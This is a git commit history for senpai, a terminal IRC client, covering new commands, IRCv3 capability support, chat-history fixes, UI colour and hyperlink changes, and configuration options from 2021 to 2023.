Use Ctrl-A and Ctrl-E to move to the beginning/end of the input line

Fixes: https://todo.sr.ht/~taiite/senpai/124
df65b98
delthas  ·  2023-11-15
Parse geo: links

Totally unrelated to goguma adding support for sharing one's
location.
8fe2102
delthas  ·  2023-11-15
Add additional debug for messages of unknown sessions

See: https://todo.sr.ht/~taiite/senpai/120
28fb1bc
delthas  ·  2023-11-15
Prompt for confirmation for messages that look like commands

Fixes: https://todo.sr.ht/~taiite/senpai/129
edf0d17
delthas  ·  2023-11-15
Accept sending unknown command after a confirmation

Fixes: https://todo.sr.ht/~taiite/senpai/125
4af3f68
delthas  ·  2023-11-15
Fix vertical scrolling of buffers when navigating with keyboard
5369aea
delthas  ·  2023-11-15
Add miscellaneous commands and replies support

See: https://todo.sr.ht/~taiite/senpai/125
7fbbcec
delthas  ·  2023-11-13
Add AWAY and BACK commands

Fixes: https://todo.sr.ht/~taiite/senpai/118
d2e7791
delthas  ·  2023-11-13
Hide RPL_HOSTHIDDEN messages

Those are too advanced for senpai.
db8c030
delthas  ·  2023-11-13
Pretty-print channel mode messages
2df2295
delthas  ·  2023-11-13
Show only the topic creator nick on /TOPIC

We don't really care about the ident or host.
e06eb23
delthas  ·  2023-11-13
Add a LIST command

Not very user-friendly for now, but better than /QUOTE LIST.

Fixes: https://todo.sr.ht/~taiite/senpai/121
e1ec501
delthas  ·  2023-11-13
Add an optional message argument to KICK

Fixes: https://todo.sr.ht/~taiite/senpai/126
d2b79de
delthas  ·  2023-11-13
Allow running more commands on the server buffer

Fixes: https://todo.sr.ht/~taiite/senpai/127
e21fa4e
delthas  ·  2023-11-13
Support color names in configuration

Using "green" is much nicer than "2".
1836d50
delthas  ·  2023-11-13
Add a fixed color scheme for nicks

Fixes: https://todo.sr.ht/~taiite/senpai/122
797447a
delthas  ·  2023-11-13
Auto-complete emoji

When the user types :gri and presses <tab>, senpai will cycle through
autocompletion of emoji starting with that sequence, eg :grinning:
2abe469
delthas  ·  2023-11-09
Close buffer on mouse middle click

Will be much clearer to users than /part.

Fixes: https://todo.sr.ht/~taiite/senpai/123
ae42619
delthas  ·  2023-11-09
Keep current buffer when deleting a buffer higher in the list
21fcd22
delthas  ·  2023-08-24
Show the number of members in buffers
35166df
Bryant Conquest  ·  2023-08-11
update git clone to pull from repository
c9cbb9d
delthas  ·  2023-08-10
Mention the senpai live SSH demo
4327d1c
delthas  ·  2023-08-10
Add the -nickname CLI option

This enables configuring the nickname with a CLI argument, which
could be useful for e.g. public instances started with a script.
9cbfcba
delthas  ·  2023-08-10
Add the transient config option

This enables ephemeral, no disk runs for e.g. public instances.
fe1216b
delthas  ·  2023-08-10
Drop the cmd/test client

It was untested and unused.
46ea446
delthas  ·  2023-07-26
Recommend using make by default

Now that scdoc is optional, it should be easier for users.
b0f10b5
delthas  ·  2023-07-26
Add .desktop entry

And install it in make install ;-)
4565542
delthas  ·  2023-07-18
doc: Fix installation instructions

Running go install from the URL is not supported because of the
replace directives in the go.mod.
cb5c712
mooff  ·  2023-07-17
Support "ircs+insecure://" scheme for connection addr

This creates a TLS connection which will accept any remote certificate.

Which is dangerous, but can be handy in a pinch.

Besides, who am I, your mom?! 🙂
c9274aa
Gabriel Arakaki Giovanini  ·  2023-07-12
Fix tls configuration input

`Sscan` does not parse "yes" or "no" to true or false. So inputting
"yes" yields a false on `tls` variable, leaving the address in the
configuration file with "irc+insecure://".
17769fb
Tim Culverhouse  ·  2023-07-14
commands: add /tableflip command

Add a command to flip the table

Signed-off-by: Tim Culverhouse <tim@timculverhouse.com>
4210720
delthas  ·  2023-07-18
Move the horizontal channel list on alt+left/alt+right

This was done for CTRL+P and CTRL+N but not for their ALT+arrows
counterparts.

Thanks to low-key for finding the issue.
d0e2711
delthas  ·  2023-07-10
Make the unread ruler quieter
8cc7490
delthas  ·  2023-07-10
Bump tcell / Fix alt arrow keys not working

See: https://github.com/gdamore/tcell/pull/624
8366503
delthas  ·  2023-07-09
doc: Clarify contributing instructions
3f89818
Gabriel Arakaki Giovanini  ·  2023-07-06
Allow to overwrite makefile variables

This allows user to overwrite make's default value. This is useful if
you want to install it into another folder, like with:

```
PREFIX=$HOME/.local make install
```
ec97cd5
delthas  ·  2023-07-07
Make the unread ruler smaller
30a1dc7
delthas  ·  2023-07-07
Make the unread message ruler quieter
2eff5ce
delthas  ·  2023-07-05
Force resetting the cursor style to default on exit

See: https://github.com/gdamore/tcell/issues/623
cad0f9c
delthas  ·  2023-07-05
Make the unread message marker softer
0b5ceec
delthas  ·  2023-07-05
Add desktop notifications on highlight

This is supported on some modern terminals, like foot.
159d0b8
Cowington Post  ·  2023-05-17
Set terminal window title.

This will change the title of the terminal window to the buffer name
in supported terminals.

Co-authored-by: delthas <delthas@dille.cc>
598fea4
delthas  ·  2023-07-05
Use tcell fork

Here we go again :-)

See: https://github.com/delthas/tcell
df3ccf7
delthas  ·  2023-07-05
Refresh tab when it changes after deletion (e.g. PART)
95c2e16
delthas  ·  2023-07-05
Use a static bar cursor where supported

This looks cooler than a blinking bar :-)
7116500
Hugo Osvaldo Barrera  ·  2023-07-03
Show an "unread" indicator bar

When switching to a channel, show a ruler at the last unread position.

Keep the previous "last read" ruler for the focused buffer, since the
"last read" timestamp is updated as soon as the buffer is focused (which
would result in the ruler always rendering at the bottom).

Also add a special case in `SetRead` for when the "last read" timestamp
is received from the server _after_ the buffer was focused. This happens
basically for the buffer that was focused at start-up.

Fixes: https://todo.sr.ht/~taiite/senpai/76
Co-authored-by: delthas <delthas@dille.cc>
f1ca0dc
Hugo Osvaldo Barrera  ·  2023-07-02
Highlight channels with unread messages at startup

When processing history messages, if any of them are newer than the
channel's "last seen" timestamp, properly highlight the corresponding
channel.

Fixes: https://todo.sr.ht/~taiite/senpai/112
32bf7bf
Hugo Osvaldo Barrera  ·  2023-07-02
Process "last seen" markers of joined channels

Previously, senpai received MARKREAD events of newly joined channels but
dropped them, because they were received before the RPL_ENDOFNAMES which
marks the ends of the initial channel join batch.

This fixes the issue by storing the read marker, then using it in the
channel join event so that it can be set in the channel.
2a9fc6e
Nick Hastings  ·  2023-07-03
Implements NextUnreadBuffer and PreviousUnreadBuffer

These actions are bound to Shift+Right and Shift+Left.
c10c3f4
Clayton Craft  ·  2023-05-16
Add option to hide join/part messages

The current behavior (showing joins/parts) is the default behavior.
9d0c33e
Collin Lefeber  ·  2023-02-28
config: add status color sub-directive

* adds "status" to color config parsing
* unifies ConfigColors types across app and buffer configs
* use Status color for event foreground colors
c9121e5
delthas  ·  2023-06-19
doc: Advertise SEARCH on the main doc
408939b
Vlad-Stefan Harbuz  ·  2022-09-21
add /shrug command

Signed-off-by: Vlad-Stefan Harbuz <vlad@vladh.net>
54ee468
Valentin Lorentz  ·  2023-05-28
Use 'CHATHISTORY LATEST' instead of 'CHATHISTORY BEFORE' when possible

1. it works on servers which don't support timestamp= anchors
2. it will make it easier to add support for msgid= anchors in a future commit
   (it's not possible to use 'CHATHISTORY BEFORE' if we don't already have a msgid)
3. It avoids duplicating or missing messages if the server's clock differs from the
   client's.
ee425b3
delthas  ·  2023-06-19
Add setup assistant

I can't be bothered to create configuration folders and files
manually :-)
1318e78
delthas  ·  2023-02-13
Request standard-replies

We already support displaying any standard reply.

See: https://github.com/ircv3/ircv3-specifications/pull/506
5414edb
delthas  ·  2023-01-03
motd: Allow running from a server buffer
e94e0f6
delthas  ·  2022-12-23
Only show one connected message per reconnection
9a8d331
delthas  ·  2022-12-23
Show connected messages in the current buffer as well
e9a829f
delthas  ·  2022-12-23
Backoff from 0 seconds to 1 minute on reconnect

Resets on successful connection.
58464d5
delthas  ·  2022-12-23
Hide on-register RPL_UMODEIS
7adcd79
delthas  ·  2022-12-23
Show MOTD in server buffer only

Also hide MOTD start and end messages.
3ec3418
delthas  ·  2022-12-22
np: Bump libnp & be more verbose with errors
37623d5
delthas  ·  2022-12-22
Fix failing on addresses with a literal IP address without URLs

The configuration
    addr 127.0.0.1:12345
should now work again.
0844932
delthas  ·  2022-12-21
Implement /OPER

Fixes: https://todo.sr.ht/~taiite/senpai/105
e02f743
delthas  ·  2022-12-21
Bump go-libnp

This fixes a critical build issue introduced in [1] where go-libnp would
fail building on Linux, with:

    C source files not allowed when not using cgo or SWIG: np_util.c

[1]: a8e1b1b416c28985c58f8a5c4a4c8867d0eaf660
a8e1b1b
delthas  ·  2022-12-16
Move /NP code to go-libnp

This enables /NP to work on Windows.

See: https://github.com/delthas/go-libnp
dcf5017
delthas  ·  2022-12-16
Prevent possible deadlock in the typing system

When being flooded by typing notifications, we could steal the lock from
the routine supposed to empty the notification channel.

This caused a possible deadlock in rare cases.
7b9b1fc
delthas  ·  2022-12-16
Fix processing CHATHISTORY TAGMSG as standalone messages

Receiving a TAGMSG in chathistory causes the handler to return nil.

Previously this caused the handler to be called again without the
playblack flag, causing us to emit events out of their history context.

This meant we would show typing notifications for users from chathistory
batches.

Soju will soon be able to send TAGMSG messages in its chathistory, so
we're fixing that now.
870e2e5
delthas  ·  2022-12-02
doc: Fix trivial typo
ec332dd
delthas  ·  2022-12-02
Fix failing to parse host:port IRC URLs

This fixes a regression introduced in [1].

[1]: 68e1efcf0612c635ea186676559883e791552d30
5ff0f2c
delthas  ·  2022-11-23
Implement /NP

This queries the system for the current song being played. This uses
DBus & MPRIS/xesam.

The priority is any player in playing state > any player in paused
state.

Only players in the playing or paused state, with a valid song title are
considered.
9a0cc2c
delthas  ·  2022-11-23
Add documentation for /MOTD
c7d2032
delthas  ·  2022-11-22
Implement /MOTD
68e1efc
delthas  ·  2022-11-22
Support irc URLs in the config addr

Fixes: https://todo.sr.ht/~taiite/senpai/106
cb0ba06
delthas  ·  2022-11-15
Enable receiving away updates for private buffers

We just need to enable extended-monitor :-)
1f923f8
delthas  ·  2022-11-15
Print date as dd/mm or mm/dd depending on the user locale

Overkill, but this was a nice weekend project :-)

Fixes: https://todo.sr.ht/~taiite/senpai/107
3be8783
delthas  ·  2022-11-04
Add a 10s timeout to connect + TLS handshake
b3377c5
delthas  ·  2022-10-19
Render the Unicode replacement character properly

Previously, we stopped rendering a line on its first Unicode replacement
character, because we used that special value for detecting invalid
Unicode bytes.

Now that we pre-process incoming strings to replace invalid Unicode
bytes with the Unicode replacement character [1], there is no need to
stop rendering a string on this character: it should just be passed
through as is.

[1]: 700139404044730a726af7cd57e3d2dbc07871ea
e4a2fe2
delthas  ·  2022-10-18
Clear highlights from MARKREAD when only NotifyNone lines are left

Previously, we did not clear buffers highlight statuses on MARKREAD if
there was any unread line after it.

This meant that if we received a plain message, than a join message, and
some other device sent us a read marker for the plain message, we would
still highlight the buffer. But we should not: a join message should not
highlight the buffer.

This is a recurrent use case because some clients do not display join
mesasges and therefore do not send read markers for it.

This updates the logic to actually store the notify level (in the line)
and uses it to reset the highlight status when only NotifyNone messages
(or no messages) are left.
faefde5
delthas  ·  2022-10-18
Bump tcell version

tcell just got a bugfix for OSC 8 hyperlink IDs.

See: https://github.com/gdamore/tcell/commit/ede1dd5ee68071a873d425e749bcbde04f1a1cc3
ec48041
delthas  ·  2022-10-17
Fix requesting CHATHISTORY TARGETS with invalid timestamps

Previously, we sent the CHATHISTORY TARGETS start time with an incorrect
offset equal to the system time offset.

This means that we only reopened private buffers from the last app close
+ N hours on a system with a N-hour time offset.

This fixes the issue by saving the stamp as UTC, and also making sure to
format any time offset correctly.
4ce085c
delthas  ·  2022-10-17
Fix OSC 8 hyperlink ID format

I meant to add 0-padding to avoid spaces.
f254040
delthas  ·  2022-10-17
Add OSC 8 hyperlink IDs

OSC 8 hyperlink ID support was merged into tcell. We can now use those
IDs to help terminal emulators identify links spanning multiple lines,
possibly highlighting the whole link whe it is hovered, or creating a
single link hotkey for them.
d242b4f
delthas  ·  2022-10-14
Switch to the upstream tcell implementation of OSC 8 hyperlink

tcell has merged OSC support in [1], with support for more terminals
than what was added in the tcell fork we used.

Now, all terminals with mouse sequences support should receive OSC 8
hyperlinks sequences.

[1]: https://github.com/gdamore/tcell/pull/527/commits/e7b14a71dc78721c0f007fd6197262c52c1d4df9
Fixes: https://todo.sr.ht/~taiite/senpai/103
0bef742
Nomeji  ·  2022-10-13
Scroll to buffer on zoom
cdeb759
delthas  ·  2022-10-12
Fix crashing on ISUPPORT PREFIX=

On servers without prefixes, we previously crashed because of a missing
break.

The intended logic was to only process the string if it was not empty.
7001394
delthas  ·  2022-10-08
Replace non-UTF8 chars with the Unicode replacement character

tcell does not handle non-UTF8 chars well, so we explicitly replace them
when getting the messages to avoid passing them to tcell down the line.
300bf7a
delthas  ·  2022-10-04
Prevnet highlighting on notices, drop unknown CTCP
09b45e5
delthas  ·  2022-09-14
Make the last opened channel visible in the horizontal list

When starting senpai, we jump to the last opened buffer. Offset the
horizontal target list to make the buffer visible, as if scrolled to
with CTRL+N.

Fixes: https://todo.sr.ht/~taiite/senpai/100
1d85e0b
delthas  ·  2022-09-02
Use WHOX rather than WHO when available

This will reduce network usage and possibly increase WHO cache hit ratio
on bouncers supporting a WHO cache.
6ed5a57
delthas  ·  2022-08-28
Always show the date of the top message

Even if it is a continuation line.

Fixes: https://todo.sr.ht/~taiite/senpai/98
c3a6d9c
delthas  ·  2022-08-19
Highlight only on word boundaries

Preivously, we highlighted the user for any message that contained the
nick, even in the middle of a word.

Now, we only send a highlight if the user was mentioned in a single
word, by detecting word boundaries around the mention of the user.

For example, considering user "foo":

Previously, we would highlight on "foo" and "foolish".
Now, we highlight only on "foo".

This was inspired/copied from soju's handling [1].

[1]: https://git.sr.ht/~emersion/soju/tree/5e56cc30c538eb88c21cce732e2e357e80098164/item/irc.go#L473

Fixes: https://todo.sr.ht/~taiite/senpai/97
464ea64
delthas  ·  2022-08-16
Show the message date instead of its time on date change

Fixes: https://todo.sr.ht/~taiite/senpai/17
d2f12ad
delthas  ·  2022-08-15
Mention /help rather than man

Using man to learn more about senpai is obvious. Using /help is more
specific to senpai.

Mention that rather than the man.
f23dd32
delthas  ·  2022-08-15
Revert to using base colors by default, making extended configurable

In a previous commit, the color scheme for displaying nicks was changed
to use more colors (30 rather than 14), using extended colors from the
256 colors set.

The issue with this is that most terminal emulators customize the colors
of the first 16 colors to make them more readable (eg, a terminal
emulator with a light theme will make colors darker, and one with a dark
theme will make colors lighter). So the 14 colors used before were
usually not the default color codes from the original xterm/X11 spec,
but specific colors chosen by the terminal emulator to be particularly
readable.

In a way, changing the behavior to use colors from the 256 colors set,
which is usually not overriden, made them much less readable.

Which is why we need a configuration option for this.

I conversatively chose to make the default color scheme the previous
one, with only the base 16 colors.

The 256 colors scheme can be enable by adding to the configuration file:

  colors {
    nicks extended
  }
1ac38e6
delthas  ·  2022-08-10
Add a project description

This will help maintainers create their package.
2946ad6
delthas  ·  2022-08-10
Update maintainer
0621fe2
delthas  ·  2022-08-10
Color nicks in the member list the same as in the timeline

Also, change the color scheme to use more colors. Now 30 instead of 15,
and with the consistent color codes offered by the extended XTerm 256
color scheme.

Fixes: https://todo.sr.ht/~taiite/senpai/90
0ba374b
delthas  ·  2022-08-10
Add support for soju.im/bouncer-networks-notify

This enables dynamic discovery of new and deleted networks.

Fixes: https://todo.sr.ht/~taiite/senpai/71
9fe1d36
delthas  ·  2022-08-10
Document selecting with shift

Fixes: https://todo.sr.ht/~taiite/senpai/91
8aa2a20
delthas  ·  2022-08-04
Hide automatic away replies

We don't care about them since we display the user away status using
MONITOR.
e8ed8e7
Kirill Chibisov  ·  2022-06-29
Add a config option to beep on highlight

This will allow to bring user attention when you are getting
highlighted.
f13aa04
delthas  ·  2022-07-25
Add support for hex colors
f52114d
delthas  ·  2022-07-25
Add pane-widths { text } to limit the max line width

Fixes: https://todo.sr.ht/~taiite/senpai/87
05c7327
delthas  ·  2022-07-22
Fix crashing when shrinking the text to a zero width

Thanks steamyalt for the bug report.

Fixes: https://todo.sr.ht/~taiite/senpai/86
b75cb83
Nomeji  ·  2022-06-23
Scroll to the channel when changing the horizontal channel

Previously, when running CTRL+N or CTRL+P to go to the next or previous
channel, with the horizontal channel mode, the selected channel could
appear offscreen.

This patch ensures that we scroll just enough to make the newly selected
chan visible.

Thanks to Nomeji for his hard work on this. Adapted slightly to
refactor existing code to use the newly created width computation
routine.
b3f64ae
delthas  ·  2022-07-19
Fix dropping words in /msg, /query, /part

Inspired by a patch from gildarts <gildarts@orbital.rocks>
e740a6f
delthas  ·  2022-07-09
Update soju.im/read to draft/read-marker

You'll need a recent soju version to use this.
e24f9a5
delthas  ·  2022-07-06
Implement /whois
6f0d19e
delthas  ·  2022-06-04
Reset history when flushing lines

Previously, when modifying a line in the history (and then possibly
sending it), the history was modified, meaning that when looking up
history lines again, instead of seeing a new line, the actual original
line had been modified.

With this patch, history is always kepy, and modifying a previous line
and sending it will add this line to the history, and restore the
previous history, after flushing the message.
1c5d730
delthas  ·  2022-06-04
Fix crashing on removing last char of backsearch pattern

To reproduce:
- Enter a message
- Enter a substring of that message, backsearch it
- Press backspace until the substring is cleared
- senpai crashes

This merely fixes the crash. We could do backsearch better in the future
but that's a whole feature overhaul to be done in its own patch.

Thanks to paren@disroot.org for helping me find the issue by sending a
panic trace :)
7a9fe74
delthas  ·  2022-05-10
/mode: enable getting the channel modes without parameters
d525e50
delthas  ·  2022-05-10
Fix horizontal channel buffer clicks on negative positions
032dd99
delthas  ·  2022-05-10
Fix horizontal channel list buffer underline position
859b8fd
delthas  ·  2022-04-29
Enable specifying the size of disabled channel & member columns
917f754
Nomeji  ·  2022-04-29
make install an independant task in Makefile
c473084
Nomeji  ·  2022-04-29
update man to reflect changes on pane-widths behaviour
f963090
delthas  ·  2022-04-28
Support +channel-context

See: https://github.com/ircv3/ircv3-specifications/pull/498
6866df0
ptrcnull  ·  2022-04-26
Handle IRC read events correctly

It should mark the buffer as read if the last message was
before or at the "read" event, not after.
9bd580f
Galen Abell  ·  2022-04-23
Show error when searching if unsupported

It's confusing to search for something and have no results show if the
server doesn't support the soju.im/search capability.
8123af1
delthas  ·  2022-04-20
Use time.Parse for parsing incoming server times

Following a pprof profiling, using fmt.Scanf was slow. time.Parse is
faster and more readable.
0099823
delthas  ·  2022-04-20
Send SASL PLAIN authentication on connect

This saves one round trip by letting us send BOUNCER LISTNETWORKS right
away and speeds up startup time.
af89d12
delthas  ·  2022-04-20
Fetch the chat history of the last opened buffer first

This will slightly speed up startup time.
c78a9bd
delthas  ·  2022-04-20
Defer parsing URLs until a buffer is opened at least once

This heavily reduces CPU load on start, so that we only parse the links
of the current buffer hundreds of messages, rather than all of the
hundreds of messages * count of buffers.
cd7f0af
Galen Abell  ·  2022-02-28
Fix default highlight command path not being used
80d5d8b
Tim Culverhouse  ·  2022-04-20
Add a config option for unread buffer text color

This patch adds the ability to set a config option for changing the
foreground text color of unread buffers

(This was refactored slightly by delthas.)
7c18ce7
delthas  ·  2022-04-20
Update mailing list
180940b
delthas  ·  2022-04-20
Enable clicking on a horizontal buffer to switch to it

This is inspired by a patch from mooff.

This keeps the same click & drag behavior as for the vertical channel
list.
20c2b26
delthas  ·  2022-04-20
Scroll horizontal channel list with the mouse wheel

This is inspired by a patch by mooff.

The horizontal channel list can now be scrolled with the mouse wheel.
db5a4b7
delthas  ·  2022-04-20
Show/hide the channel & member list with F7/F8

This patch is inspired and modified from a patch by mooff.

Also this switches the default configuration to *display* the channel &
member list by default.
82acaac
delthas  ·  2022-04-15
Delete word on Alt+Backspace

This is a standard shortcut.
44b8fcf
delthas  ·  2022-04-15
Fix home buffer tooltip

Private messages are now sent to their own buffer, rather than in the
home buffer.
c72f7fd
delthas  ·  2022-04-15
Optimize URL regex

Following a quick local profiling & benchmark, matching links with
regexes is by far (>50x) the most time-consuming processing we do,
especially on start.

Switching to a URL regex with any scheme is faster by a factor of ~x8,
probably because there are many less "or" cases between a list of 100+
schemes, instead using a simple character class.
717ab5a
delthas  ·  2022-04-15
Batch events by time period rather than by fixed size

Previously, we would render every 64 events (at most).

Now that we have many more events, with history & read, batch events by
period rather than static size.

Waiting up to 200ms before refreshing is a good compromise between
responsiveness and performance.
c86a2fa
delthas  ·  2022-04-15
Only send READ for messages received from a channel

i.e. don't enter an infinite loop when printing disconnection errors :-)
7a86dff
delthas  ·  2022-03-29
Implement SEARCH

Also refactor ui/ to support overlays, temporary anonmyous buffers.

See: https://github.com/emersion/soju/pull/39
25ae442
delthas  ·  2022-04-08
Add a 15s keepalive to connections

My DSL line is awful atm, I'd like to know ASAP when I'm disconnected so
that I don't write paragraphs into the void.
dcaf0b6
delthas  ·  2022-03-29
Add HTTPS schema by default to hyperlinks
159853d
delthas  ·  2022-02-26
Drain the events channel when closing

This avoids rare cases where we try to send messages to the event
channel, but it is full and blocks the Close routine.
a9e0ae5
delthas  ·  2022-02-23
Use delthas/tcell fork

This adds support for OSC 8 hyperlink on some VTE-based terminal
emulators.
bfc54b9
delthas  ·  2022-02-18
Optimize URL parsing performance

According to a CPU profiling I meade, the regex applied on each incoming
message took a substantial part of the CPU time. The slowdown it caused
was noticable at startup.

This optimizes the URL parsing by eliminating fast-path cases where no
dot appears to avoid parsing the line with a regex in those cases.
d0f189b
delthas  ·  2022-02-18
Add support for the ALL_PROXY, NO_PROXY environment variables

This adds support for SOCKS5 proxy support through standard environement
variables.

To connect to the SOCKS5 proxy at host:port with credentials user:pass,
run:

  export ALL_PROXY=socks5://user:pass@host:port

Co-authored-by: the-y <the-y@riseup.net>
fe9bc1a
Jeff Knapp  ·  2022-02-16
Fix segfault on /mode x

Return an error instead of segfaulting when handling /mode x where x
is a string that starts without + - or #
f6a5181
delthas  ·  2022-02-13
Enable clicking on channel members to open a query with them
31f9033
delthas  ·  2022-02-13
Make CTRL+C alternatively clear the input and set '/quit' in it
5f199ec
delthas  ·  2022-02-13
/query: only send MONITOR, ... if the buffer is new
3b18c7a
delthas  ·  2022-02-11
/query: support optionally sending a message
6f083ad
delthas  ·  2022-02-10
Fix event collapsing
b46a755
delthas  ·  2022-02-10
Add support for the soju.im/read capability and READ command

See: https://github.com/emersion/soju/blob/c7f0634ec8ee94425547b159bc36705582151012/doc/read.md
506b4f5
Hugo Machet  ·  2022-01-06
Rename ColorGrey to ColorGray for consistency
7b559b3
Kalyan Sriram  ·  2021-12-15
ui: add commands completion
01863cb
Kalyan Sriram  ·  2021-12-09
ui: buffers: sort buffer list

Implements sorting of both network names and buffer names inside
networks.
8d2b4a9
delthas  ·  2021-12-01
MONITOR user with whom we have an open buffer
8091752
Jonathan Halmen  ·  2021-12-14
docs: update Ctrl-C behaviour

this behaviour was changed back in
c078fbbb029fd248756ea5d7726f9ae6090a4ee3
e51a5c7
Simon Ser  ·  2021-12-10
ui: use reverse colors for current buffer instead of underline

I personally find this esthetically more pleasing.
b7bfc0e
Hubert Hirtz  ·  2021-12-09
Take NICKs into account when reducing join/part lines

So that 1/ redundant events are removed even if people change nick in
the mean time and 2/ events that are actually not redundant are not
removed, e.g.

	+val  val->jw  +dan  dan->val  -val

should be reduced to

	+val  val->jw

instead of

	val->jw  +dan  dan->val
ed65a82
Hubert Hirtz  ·  2021-12-07
Remove old init

Used back when senpai showed a random message at startup
65718d3
Alexey Yerin  ·  2021-12-06
Implement /kick and /[un]ban commands
75155fa
Leon Henrik Plickat  ·  2021-12-06
Allow selecting buffers with Alt+{1..9}
42e5a40
Hubert Hirtz  ·  2021-12-06
Bump history batch limits

Initial history request: 200 -> 500
Infinite scroll request: 100 -> 200
Reconnect request: 200 -> 1000
049101c
Hubert Hirtz  ·  2021-12-06
Do not mark the buffer as unread on MODE
85482b9
Hubert Hirtz  ·  2021-12-06
Merge redundant events
ee21112
Simon Ser  ·  2021-12-01
Don't double-enable caps

Some servers might adjust their sasl cap at runtime, e.g.

    CAP NEW sasl=PLAIN,EXTERNAL
    […]
    CAP NEW sasl=PLAIN

In this case, we don't really want to `CAP REQ sasl` again, because
this will make us re-authenticate a second time.

Avoid requesting caps which have already been ACKed.
3904c91
Hubert Hirtz  ·  2021-11-29
Use second precision for bound computation

Should solve duplicates on servers that don't store message stamps with
the full millisecond precision offered by the time tag (e.g. soju)
24a84fa
Hubert Hirtz  ·  2021-11-29
Fetch history for queries
0681de6
Simon Ser  ·  2021-11-28
Use RPL_SASLSUCCESS to end registration

See https://github.com/ircv3/ircv3-specifications/pull/476
231b98d
Alexey Yerin  ·  2021-11-28
config: remove debugging fmt.Println
127199a
Alexey Yerin  ·  2021-11-28
README: fix syntax of debug option for scfg
1c4092b
Alexey Yerin  ·  2021-11-28
senpai.5: fix color code in example

3 is yellow, not green. The person who wrote this should really fix
their color scheme.
a8ff577
Alexey Yerin  ·  2021-11-28
senpai.5: remove mention of no-tls

This option no longer exists
c5a1485
mooff  ·  2021-11-25
Finish registration when not using SASL

We wait until after AUTHENTICATE to send CAP END like a good client,
but it needs to be sent when SASL isn't used, too.
b7f3fa1
delthas  ·  2021-11-24
Merge MODE messages

Also, fix an issue where mode strings only displayed the first
parameter.
b813210
delthas  ·  2021-11-24
Add support for draft/event-playback

- Refactor formatting lines into a function
- Store event times in the event
- Refactor merging lines into a function
- Always merge lines from the history, now that we will add mergeable
  lines with CHATHISTORY

Successfully tested locally.
d41d7c5
delthas  ·  2021-11-24
Show the current channel topic at the top of the timeline
bbb92bb
Alex McGrath  ·  2021-11-24
Only use first line of `password-cmd` output
afaa452
Hubert Hirtz  ·  2021-11-23
Tidy things
b469005
Kalyan Sriram  ·  2021-11-22
config: replace YAML with scfg config format

This patch replaces the YAML configuration format with scfg
(https://git.sr.ht/~emersion/scfg).

Additionally, a few things about configuration are cleaned up:
* abbreviated names are expanded (addr -> address, nick -> nickname)
* negative bools switched to positive (no-tls -> tls)
* independent column widths are grouped under the "pane-width"
  directive
* implementation of default configuration values is improved
* password-cmd is executed directly (with scfg field parsing)
  instead of with "sh -c".
* on-highlight is now a file, $XDG_CONFIG_HOME/senpai/highlight by
  default, which can be changed with the on-highlight-path directive
6014ba1
delthas  ·  2021-11-19
Add support for CHATHISTORY TARGETS
7f70f10
Duc Nguyen  ·  2021-11-05
Also write the last buffer on SIGTERM, SIGINT and SIGHUP
cc20367
delthas  ·  2021-11-17
Fix link value, removing debug query string
ac8b5b8
Pranjal Kole  ·  2021-11-19
Fix crash when lone slash is entered

See ticket #79 for more information
06fbb04
delthas  ·  2021-11-18
Handle tcell error events by closing

This is namely useful when the terminal is closing: these events are
sent, and we should close when that happens (instead of panicking).
2f73a20
Hubert Hirtz  ·  2021-11-18
OK GitHub: update README.MD
0359bd5
delthas  ·  2021-11-15
Add support for the /QUERY command

This lets open a buffer to a user without sending a message.
916a9c8
delthas  ·  2021-11-16
Add support for user buffers
56fce9e
delthas  ·  2021-11-15
Fix part-ing a channel with duplicate name in other networks

If there are multiple channels with the same name in several networks,
we should part from the one from the correct network.
1859f66
Hubert Hirtz  ·  2021-11-16
Authenticate on CAP NEW sasl
ccc5351
Hubert Hirtz  ·  2021-11-16
Also retrieve username on registration
aef7703
Hubert Hirtz  ·  2021-11-16
Eagerly request capabilities

It simplifies the code and make registration use one less roundtrip
d40d8dc
Hubert Hirtz  ·  2021-11-16
Allow App.Close() and App.Run() to be run concurrently
0e73077
Hubert Hirtz  ·  2021-11-07
Don't merge message bounds from multiple networks

Otherwise it breaks infinite scrolling.
9a595ff
Hubert Hirtz  ·  2021-11-04
Take mode changes into account
bf2a5cb
Hubert Hirtz  ·  2021-11-05
Revert "Show the current channel topic at the top of the timeline"

This reverts commit 96340f8c4d91f59f6e39767891f9bb52d7fad329 because of
a bug in timeline rendering.
96340f8
delthas  ·  2021-10-31
Show the current channel topic at the top of the timeline
19f6458
Hubert Hirtz  ·  2021-11-03
Remove IRC formatting before printing the topic

I prefer this over printing the IRC formatted string, since the topic
should be printed in gray.
b622455
delthas  ·  2021-11-03
Fix requried go version

We use os.WriteFile which is >=go1.16
4433cc0
Hubert Hirtz  ·  2021-11-02
Ensure BATCH's first arg is not empty
cd28b24
delthas  ·  2021-10-31
Mark hyperlinks with the OSC hyperlink terminal escape

This makes multi-line links properly clickable.

See: https://gist.github.com/egmontkob/eb114294efbcd5adb1944c9f3cb5feda
9336f97
delthas  ·  2021-10-31
/mode: default channel to the current channel
19e0026
delthas  ·  2021-10-31
Don't show notifications when receiving a message from self
88663c1
Hubert Hirtz  ·  2021-10-31
Print the topic after the first batch of history

The topic is the first line we put in a buffer, so we have to place the
first batch of history *before* the topic, instead of after.
2dd34ad
delthas  ·  2021-10-30
Fix requesting CHATHISTORY of empty channels

Channels which have never received any message return no messages on the
initial chathistory, thus returning an empty bound with first == last ==
time.Time{}.

However this empty bound was stored in the channel bounds, and was used
as starting point for fetching history if Page Up was pressed. This in
turn caused senpai to send a CHATHISTORY BEFORE 01-01-0001 message,
which is invalid.

This fixes the issue by not storing an empty bound if the CHATHISTORY
request does not return any message.
5c2fb81
delthas  ·  2021-10-30
Make vertical channel list scrollable

Seems like I really have too many channels... :)
4ee9034
Hubert Hirtz  ·  2021-10-27
Rework the /help command

- Normalize usage display
- Sort commands alphabetically
ef8780d
Hubert Hirtz  ·  2021-10-27
Show the full command name on user error
c1329b3
Hubert Hirtz  ·  2021-10-27
Sync screen during resize

For CtrlL to actually refresh the screen.
9768535
Hubert Hirtz  ·  2021-10-26
Scroll up/down highlight by highlight
4cb5734
Hubert Hirtz  ·  2021-10-26
timeline drawing: fix off-by-one error
2f253f6
Hubert Hirtz  ·  2021-10-26
status bar drawing: fix off-by-one error
93fed87
Hubert Hirtz  ·  2021-10-24
doc: clarify some things
9fb4378
Hubert Hirtz  ·  2021-10-20
Support for soju.im/bouncer-networks

This patch also disable the highlight on reconnect. This might be an
issue (the user would want to know when senpai is online again?), but
with multiple connections, it's bothersome to have to unread all of
them on start (it wasn't a problem with only one connection since it was
read instantly).

